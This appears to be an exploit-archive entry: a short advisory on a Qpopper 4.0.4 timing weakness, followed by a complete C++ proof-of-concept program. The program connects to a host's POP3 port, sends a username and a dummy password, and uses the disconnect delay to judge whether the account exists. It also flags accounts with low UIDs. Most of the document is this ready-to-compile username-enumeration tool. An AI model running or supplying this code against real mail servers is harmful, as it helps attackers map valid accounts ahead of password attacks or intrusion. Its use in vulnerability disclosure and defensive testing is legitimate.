source: https://www.securityfocus.com/bid/7110/info
An information disclosure weakness has been reported for Qpopper when authenticating. The weakness is due to the fact that if a valid username is sent with a bad password, Qpopper will wait a small amount of time prior to disconnecting the client. If the username that is sent is invalid, Qpopper immediately disconnects the client.
A determined attacker can exploit this weakness to gather a list of valid usernames on a vulnerable system using Qpopper.
/**
* $Author: plasmahh $
* $Date: 2003/03/11 15:01:45 $
*
* This is a proof of concept code to check wheter a given username is valid on
* a system running qpopper 4.0.4 and possibly other versions.
*
* Compile :
*
* g++ -Wall poptest.cpp -o poptest
* or
* g++ -D_DEBUG_ poptest.cpp -o poptest
* (to see whats going on)
*
* Run :
*
* ./poptest <hostname> <username>
*
* e.g.
*
* ./poptest 127.0.0.1 root
*
* When a username is valid on the system, qpopper waits ~10 seconds before it
* sends the sing off message to the user. If the username is not valid, it
* will send it immediately after the password is entered.
* If the username has a uid < 100 qpopper is even so nice to tell us.
*/
#include <iostream>
extern "C" {
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
}
using namespace std;
//#define _DEBUG_ 1
int main ( int argc, char * argv[])
{
struct timeval tim1;
struct timeval tim2;
int sock;
struct hostent *peerip;
struct sockaddr_in peer;
char * buf = new char[4096];
if ( argc != 3 )
{
cerr << "Must give username and host" << endl;
return -1;
}
sock = socket ( AF_INET, SOCK_STREAM, 0);
peerip = gethostbyname ( argv[1] );
if ( ! peerip )
{
cerr << "Hostname not valid" << endl;
return -1;
}
cout << "Validating username " << argv[2] << " , please stand by.." << endl;
peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr = *((struct in_addr *) peerip->h_addr);
memset(&(peer.sin_zero),0,8);
if ( connect( sock, (sockaddr *) & peer, sizeof(struct sockaddr)) < 0)
{
cerr << "Could not connect !" << endl;
return -1;
}
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
memset ( buf, 0, 4096 );
snprintf ( buf, 4096, "USER %s\r\n", argv[2]);
write ( sock, buf, strlen(buf) );
#ifdef _DEBUG_
cout << "-> " << buf << endl;
#endif
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
write ( sock, "PASS xxx\r\n", 11);
#ifdef _DEBUG_
cout << "-> PASS xxx" << endl;
#endif
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
if ( strstr( buf, "100") != NULL )
{
cout << "User has probably an UID < 100 and is a valid user." << endl;
close(sock);
return 0;
}
gettimeofday(&tim1,NULL);
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
gettimeofday(&tim2,NULL);
double s = (tim2.tv_sec - tim1.tv_sec);
s += ((double)(tim2.tv_usec - tim1.tv_usec))/1000000.0;
cout << "Disconnected after " << s << " seconds." << endl;
if ( s > 1.0 )
{
cout << "User \"" << argv[2] << "\" is probably a valid user" << endl;
}
else
{
cout << "User \"" << argv[2] << "\" is probably NOT a valid user" << endl;
}
close(sock);
return 0;
}